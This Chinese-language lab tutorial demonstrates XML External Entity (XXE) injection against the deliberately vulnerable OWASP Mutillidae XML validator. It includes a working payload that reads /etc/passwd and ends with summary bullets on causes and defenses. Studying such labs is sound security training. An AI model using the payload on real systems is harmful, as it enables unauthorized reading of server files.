在现实生活中大量存在有关系的数据,XML语言出现的根本目标在于描述在现实生活中经常出现的有关系的数据。
在XML语言中,它允许用户自定义标签。一个标签用于描述一段数据;一个标签可分为开始标签和结束标签,在开始标签和结束标签之间,又可以使用其它标签描述其它数据,以此来实现数据关系的描述。(在XML中,用ELEMENT表示元素,用ENTITY表示实体)
1 环境准备
1.开启OWASP靶机和Kali虚拟机
2 利用XML外部实体注入案例
1.浏览器打开:
http://192.168.___.___(靶机IP)/mutillidae/index.php?page=xml-validator.php
2.这是一个 XML 验证器。提交样例进行测试:在 XML 框中,输入<somexml><message>HelloWorld</message></somexml>,然后点击 Validate XML。(测试显示效果)
3.测试它是否正确地处理了实体标记。输入以下内容:
<!DOCTYPE person [
<!ELEMENT person ANY>
<!ENTITY person "Mr Bob">
]>
<somexml><message>Hello World &person;</message></somexml>
在这里,只定义了一个名字为person的内部实体将 Mr Bob 设为其值。解析器在显示结果时解释了实体并替换该值(测试使用实体的显示效果),所以显示:Hello World Mr Bob
4.这就是内部实体的使用。再尝试一个外部实体的使用,在这个结果,可以看到注入后返回文件的内容:
<!DOCTYPE fileEntity [
<!ELEMENT fileEntity ANY>
<!ENTITY fileEntity SYSTEM "file:///etc/passwd">
]>
<somexml><message>Hello World &fileEntity;</message></somexml>
(利用XML的外部注入漏洞,获取本地,也就是靶机上的passwd文件内容)
使用这种技术,可以读取系统中任何对运行 web 服务器用户可读的文件。
总结
XML外部实体注入(XML External Entity Injection,XXE)是一种攻击方式,可以利用XML处理器的实体功能,通过引用外部实体来获取敏感数据、执行恶意代码等。攻击者可以通过构造恶意XML文档来触发这种漏洞,可能会导致注入、拒绝服务、信息泄露等安全问题。
以下是XXE攻击的一些总结:
-
XXE攻击的主要原因是由于XML处理器的实体功能和解析机制。
-
防止XXE攻击的主要方法是限制XML实体的引用范围、使用CDATA来避免实体解析、禁止外部实体引用等。
-
XXE攻击不仅仅针对web应用,也可以针对其他系统或应用程序,如XML文件解析器、SOAP服务等。
-
攻击者可能会利用XXE漏洞来获取敏感数据、执行远程代码、拒绝服务等。
-
XXE攻击可以通过在XML文档中引用外部实体来触发,攻击者可以使用本地文件、HTTP/HTTPS URL等作为实体的值。
-
XXE攻击可以通过强制解析漏洞来进行攻击,即将文档类型声明(DTD)中的实体替换为攻击者控制的文档,从而执行任意代码或读取文件等。
-
在防止XXE攻击方面,开发者需要注意对用户输入的验证和过滤,使用安全的XML解析器和API,限制XML文档的大小等。